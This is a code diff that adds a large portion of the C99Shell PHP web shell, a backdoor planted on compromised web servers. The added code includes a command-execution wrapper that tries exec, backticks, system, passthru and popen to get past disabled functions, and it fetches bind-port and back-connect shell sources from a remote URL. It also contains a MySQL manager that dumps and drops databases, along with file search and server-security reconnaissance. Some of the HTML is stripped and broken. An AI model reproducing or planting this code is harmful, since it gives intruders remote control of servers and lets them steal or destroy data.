+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("c99getsource"))
+{
+function c99getsource($fn)
+{
+ global $c99sh_sourcesurl;
+ $array = array(
+ "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
+ "c99sh_bindport.c" => "c99sh_bindport_c.txt",
+ "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
+ "c99sh_backconn.c" => "c99sh_backconn_c.txt",
+ "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
+ "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
+ else {return FALSE;}
+}
+}
+
+if (!function_exists("mysql_dump")){
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by C99Shell.SQL v. ".$shver."
+# Home page: http://ccteam.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> - phpshell ! C99Shell v. !
Software:
uname -a: ",1); ?>
",1);} else {echo get_current_user();} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+}
+echo " ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo " ";}
+echo "";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs. SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
